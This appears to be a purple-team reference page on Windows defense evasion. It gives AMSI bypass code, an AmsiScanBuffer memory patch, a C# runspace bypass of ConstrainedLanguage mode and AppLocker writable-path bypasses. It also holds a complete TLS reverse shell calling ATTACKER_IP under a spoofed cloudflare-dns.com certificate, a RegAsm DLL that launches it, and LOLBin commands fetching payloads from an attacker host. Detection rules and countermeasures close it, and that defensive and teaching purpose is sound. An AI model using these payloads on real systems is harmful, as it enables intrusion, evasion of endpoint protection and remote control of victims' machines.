Defense Evasion Windows Purple Team

Windows Evasion Techniques

AMSI, AppLocker, CLM, Defender bypass - lab-validated techniques

6 bypass categories
Red + Blue team
Updated 2026
1

AMSI Bypass

AMSI (Anti-Malware Scan Interface) hooks into PowerShell to scan scripts before execution. Modern Defender heavily fingerprints known bypass techniques.

Modern Detection Reality

As of 2026, all publicly documented AMSI bypass techniques are detected by Windows Defender on fully patched systems. The techniques below are documented for educational purposes and understanding detection mechanisms.

Matt Graeber's Reflection Bypass

Sets amsiInitFailed to true via .NET reflection, causing AMSI to believe initialization failed and skip scanning.

PowerShell - Classic (DETECTED)
# Classic version - immediately flagged by static signatures
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
PowerShell - Obfuscated (Still detected by behavioral analysis)
# String splitting evades static signatures but behavioral detection catches the pattern
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInit'+'Failed','NonPublic,Static').SetValue($null,!$false)

Memory Patching (AmsiScanBuffer)

Patches the AmsiScanBuffer function in memory to always return AMSI_RESULT_CLEAN. Requires VirtualProtect to change memory permissions.

C# - P/Invoke Memory Patch (DETECTED)
// VirtualProtect + memory writes to AMSI regions trigger EDR alerts
IntPtr hAmsi = LoadLibrary("amsi.dll");
IntPtr asb = GetProcAddress(hAmsi, "AmsiScanBuffer");
uint oldProtect;
VirtualProtect(asb, (UIntPtr)5, 0x40, out oldProtect);  // PAGE_EXECUTE_READWRITE
Marshal.WriteByte(asb, 0xB8);      // mov eax
Marshal.WriteByte(asb + 1, 0x57);  // AMSI_RESULT_CLEAN
Marshal.WriteByte(asb + 2, 0x00);
Marshal.WriteByte(asb + 3, 0x07);
Marshal.WriteByte(asb + 4, 0x80);
Marshal.WriteByte(asb + 5, 0xC3);  // ret

Why AMSI Bypasses Fail

Static Signatures

Known AMSI bypass strings (AmsiUtils, amsiContext, amsiInitFailed) are flagged immediately

Behavioral Heuristics

Reflection + field manipulation patterns detected even with obfuscation

Memory Monitoring

VirtualProtect calls on AMSI regions trigger Defender alerts

ETW Telemetry

PowerShell execution logged even if AMSI bypassed

PowerShell v2 Downgrade

PowerShell v2 predates AMSI and doesn't have scanning integration. However, it's not installed by default on modern Windows.

PowerShell v2 Attempt
# Only works if .NET 3.5 is installed (not default on Windows 11)
powershell.exe -version 2 -Command {Write-Host "No AMSI here"}
2

ConstrainedLanguage Mode Bypass

ConstrainedLanguage Mode (CLM) restricts PowerShell capabilities by blocking reflection, COM objects, and dynamic type loading. The bypass exploits the fact that programmatically created runspaces default to FullLanguage mode.

What CLM Blocks

❌ Blocked Operations

  • • Reflection: .GetType(), .GetMethod(), .GetField()
  • • Dynamic type loading
  • • COM object creation
  • • Add-Type (custom compilation)
  • • .NET type resolution beyond core

✓ Still Allowed

  • • Basic cmdlets (Get-Process, etc.)
  • • Core .NET types
  • • String manipulation
  • • File system operations
  • • Network operations
PowerShell - Check Language Mode
# Check current PowerShell language mode
$ExecutionContext.SessionState.LanguageMode
# Returns: ConstrainedLanguage or FullLanguage

C# Runspace CLM Bypass

CLM enforcement lives in the PowerShell host process. A C#-created runspace defaults to FullLanguage mode and ignores the system-wide __PSLockdownPolicy. This is architectural - Microsoft does not treat CLM as a security boundary.

C# - CLM Bypass via Custom Runspace
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;

namespace CLMBypass
{
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length == 0) return;

            // Decode base64 argument containing PowerShell payload
            string base64Command = args[0];
            byte[] decodedBytes = Convert.FromBase64String(base64Command);
            string decodedCommand = Encoding.Unicode.GetString(decodedBytes);

            // Create runspace - defaults to FullLanguage, bypassing CLM
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();

            PowerShell ps = PowerShell.Create();
            ps.Runspace = runspace;
            ps.AddScript(decodedCommand);

            // Execute in FullLanguage context
            var results = ps.Invoke();

            foreach (var obj in results)
                Console.WriteLine(obj.ToString());

            runspace.Close();
        }
    }
}

Compilation Requirements

Visual Studio Setup
# 1. Create Console App (.NET Framework 4.7.2 or 4.8 - NOT .NET Core/5+)
# 2. Add Reference to System.Management.Automation.dll:
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll

# 3. Build → Configuration Manager → Release → x64
# 4. Build Solution → Output: CLMBypass.exe
Usage - Execute payload in FullLanguage mode
# Encode payload (on attacker machine)
$payload = 'Get-Process; whoami'
$bytes = [Text.Encoding]::Unicode.GetBytes($payload)
$b64 = [Convert]::ToBase64String($bytes)

# Execute on target - bypasses CLM
.\CLMBypass.exe $b64
3

AppLocker Bypass

AppLocker controls which executables, scripts, and DLLs can run based on path, publisher, or hash rules. Default rules allow execution from %WINDIR% and %PROGRAMFILES%.

Default AppLocker Rules

✓ Allowed

%PROGRAMFILES%\*

✓ Allowed

%WINDIR%\*

❌ Blocked

C:\Users\*

Writable Allowed Paths

These paths are within %WINDIR% (allowed by default rules) but are writable by standard users - the classic AppLocker bypass.

AppLocker Bypass Locations
# These paths are WRITABLE by standard users AND ALLOWED by default AppLocker rules
C:\Windows\Tasks              # Most reliable bypass location
C:\Windows\Temp               # Common alternative
C:\Windows\tracing            # Another option
C:\Windows\System32\spool\drivers\color  # Works on some configs
Bypass Execution
# Test from Desktop (should FAIL)
Copy-Item .\tool.exe C:\Users\$env:USERNAME\Desktop\test.exe
C:\Users\$env:USERNAME\Desktop\test.exe
# Expected: "This program is blocked by group policy"

# Test from C:\Windows\Tasks (should WORK)
Copy-Item .\tool.exe C:\Windows\Tasks\tool.exe
C:\Windows\Tasks\tool.exe <arguments>
# Executes successfully - bypasses AppLocker

Check AppLocker Status

PowerShell - AppLocker Enumeration
# Check if AppLocker service is running
Get-Service -Name AppIDSvc

# Get effective AppLocker policy
Get-AppLockerPolicy -Effective

# Check enforcement mode for executables
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections |
  Where-Object {$_.RuleCollectionType -eq 'Exe'} |
  Select-Object RuleCollectionType, EnforcementMode
4

Windows Defender Evasion

Windows Defender uses static signatures, behavioral heuristics, and cloud-based ML. TLS-encrypted reverse shells with runtime payload delivery have shown the most success.

TLS Reverse Shell Setup

TLS encryption hides malicious traffic. Using a certificate CN that mimics legitimate services (cloudflare-dns.com) helps blend with normal HTTPS traffic.

Attack Box - Generate Certificate & Start Listener
# Generate self-signed certificate with cloudflare-dns.com CN
openssl req -x509 -newkey rsa:2048 \
  -keyout key.pem \
  -out cert.pem \
  -days 365 -nodes \
  -subj "/CN=cloudflare-dns.com"

# Start TLS listener on port 443
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
PowerShell - TLS Reverse Shell Payload
# TLS reverse shell - connects to attacker on port 443
$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12;
$TCPClient = New-Object Net.Sockets.TCPClient('ATTACKER_IP', 443);
$NetworkStream = $TCPClient.GetStream();

# Accept any certificate (self-signed)
$SslStream = New-Object Net.Security.SslStream(
    $NetworkStream, $false,
    ({$true} -as [Net.Security.RemoteCertificateValidationCallback])
);
$SslStream.AuthenticateAsClient('cloudflare-dns.com', $null, $sslProtocols, $false);

# Verify encryption
if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {
    $SslStream.Close(); exit
}

# Interactive shell loop
$StreamWriter = New-Object IO.StreamWriter($SslStream);
function WriteToStream ($String) {
    [byte[]]$script:Buffer = New-Object System.Byte[] 4096;
    $StreamWriter.Write($String + 'SHELL> ');
    $StreamWriter.Flush()
};
WriteToStream '';
while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);
    $Output = try { Invoke-Expression $Command 2>&1 | Out-String } catch { $_ | Out-String }
    WriteToStream ($Output)
}
$StreamWriter.Close()

Why "cloudflare-dns.com"?

From a network monitoring perspective:

  • • TLS connection appears to be DNS-over-HTTPS traffic
  • • Cloudflare DNS (1.1.1.1) is a legitimate, widely-used service
  • • Port 443 traffic blends with normal HTTPS
  • • Certificate validation is disabled so self-signed cert works

Payload Encoding & Delivery

Encode Payload for CLM Bypass Delivery
# Encode TLS shell payload for delivery via CLM bypass binary
$payload = '<TLS reverse shell code from above>'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($payload))

# Execute via CLM bypass from AppLocker-safe location
C:\Windows\Tasks\CLMBypass.exe $b64
5

LOLBins - Living Off The Land

LOLBins are legitimate Microsoft-signed binaries that can be abused for malicious purposes. They bypass AppLocker because they're signed by Microsoft and located in allowed paths.

RegAsm.exe - .NET Assembly Registration

Legitimate purpose: Register .NET assemblies for COM interop. Offensive use: Execute arbitrary .NET code via COM registration callbacks when the assembly is loaded.

RegAsm.exe Paths
# 64-bit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe

# 32-bit
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
C# - RegAsm Payload with CLM Bypass + Reverse Shell
using System;
using System.Runtime.InteropServices;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace RegAsmBypass
{
    [ComVisible(true)]
    [Guid("B8E7E8E8-7E8E-4E8E-8E8E-8E8E8E8E8E8E")]
    [ClassInterface(ClassInterfaceType.None)]
    public class Payload
    {
        [ComRegisterFunction]  // Called during RegAsm registration
        public static void RegisterClass(string key) { Execute(); }

        [ComUnregisterFunction]  // Called during RegAsm /U (no admin needed)
        public static void UnregisterClass(string key) { Execute(); }

        private static void Execute()
        {
            string tlsShell = @"<TLS reverse shell payload here>";

            // Create FullLanguage runspace (CLM bypass)
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = runspace;
            ps.AddScript(tlsShell);
            ps.Invoke();
            runspace.Close();
        }
    }
}
Execute via RegAsm (no admin required with /U)
# /U flag = unregister mode = no admin required = calls ComUnregisterFunction
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U C:\path\to\payload.dll

Why This Bypasses Defenses

AppLocker ✓

RegAsm.exe is Microsoft-signed in %WINDIR%

Defender ✓

COM registration is legitimate Windows operation

CLM ✓

DLL creates FullLanguage runspace

Other Useful LOLBins

Common LOLBins for Execution
# MSBuild - Execute inline tasks from XML
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

# InstallUtil - Execute via installer class
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U payload.dll

# Csc.exe - Compile and execute C# on the fly
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:payload.exe source.cs

# Mshta.exe - Execute HTA/VBScript
mshta.exe http://attacker/payload.hta

# Certutil - Download files
certutil.exe -urlcache -f http://attacker/payload.exe C:\Windows\Tasks\payload.exe

ExecEvasion - Automated Evasion Framework

Automates execution bypass techniques including AppLocker bypass, CLM bypass, AMSI patching, and LOLBin payload generation. Useful for red team engagements and security testing.

View on GitHub
6

Detection & Defense

Understanding evasion techniques helps build better detection. The following SIEM rules and defensive measures address the techniques covered above.

Sysmon Detection Rules

Sysmon Config - Add C:\Windows\Tasks to NetworkConnect
<!-- Default SwiftOnSecurity config misses this path! -->
<NetworkConnect onmatch="include">
    <Image name="Usermode" condition="begin with">C:\Users</Image>
    <Image name="Tasks" condition="begin with">C:\Windows\Tasks</Image>
</NetworkConnect>
Kibana/SIEM - Binary Execution from Windows Tasks
# High-confidence detection for AppLocker bypass
event.provider: "Microsoft-Windows-Sysmon"
AND event.code: 1
AND winlog.event_data.CurrentDirectory: "C:\\Windows\\Tasks\\"
Sigma Rule - CLM Bypass via Runspace
title: PowerShell Runspace Creation Bypass
description: Detects creation of PowerShell runspace to bypass ConstrainedLanguage
logsource:
  product: windows
  service: powershell
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'RunspaceFactory.CreateRunspace'
      - 'Runspace.Open'
  condition: selection
Sigma Rule - RegAsm LOLBin Abuse
title: RegAsm Executing Suspicious DLL
description: Detects RegAsm.exe loading DLL from writable location
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\RegAsm.exe'
    CommandLine|contains:
      - 'C:\Windows\Tasks\'
      - 'C:\Windows\Temp\'
      - 'C:\Users\'
  condition: selection

Network Detection Signals

High-Confidence Network IOCs

  • SNI/IP mismatch: TLS SNI "cloudflare-dns.com" connecting to RFC1918 (private) IP address
  • No DNS resolution: Outbound 443 with no preceding DNS query
  • Non-browser TLS: TLS connections from unsigned binaries or unusual processes
  • Empty hostname: Sysmon EID 3 with DestinationHostname = "-"

Defensive Countermeasures

Replace AppLocker with WDAC

Windows Defender Application Control enforces stricter code integrity, blocks writable allowed paths by design

Block Writable Windows Paths

icacls "C:\Windows\Tasks" /deny Users:(OI)(CI)W

Enforce CLM via UMCI

User Mode Code Integrity locks down PowerShell - cannot be bypassed by custom runspaces

Enable PowerShell Transcription

Logs all PowerShell activity including runspace execution

Enable PowerShell Transcription
# Enable transcription logging via registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
  -Name "EnableTranscripting" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
  -Name "OutputDirectory" -Value "C:\PSTranscripts"
Attack Surface Reduction (ASR) Rules
# Block process creation from PSExec/WMI
Add-MpPreference -AttackSurfaceReductionRules_Ids D1E49AAC-8F56-4280-B9BA-993A6D77406C `
  -AttackSurfaceReductionRules_Actions Enabled

# Block untrusted programs from removable drives
Add-MpPreference -AttackSurfaceReductionRules_Ids b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 `
  -AttackSurfaceReductionRules_Actions Enabled

Key Takeaways

Red Team

  • • CLM bypass via C# runspace is architectural (unpatched)
  • • C:\Windows\Tasks bypasses both AppLocker AND default Sysmon
  • • TLS encryption + runtime delivery evades static analysis
  • • LOLBins provide signed execution from allowed paths

Blue Team

  • • Default configs are NOT security boundaries
  • • Add C:\Windows\Tasks to Sysmon NetworkConnect rules
  • • Monitor RegAsm/MSBuild/InstallUtil execution from user paths
  • • Replace AppLocker with WDAC for real protection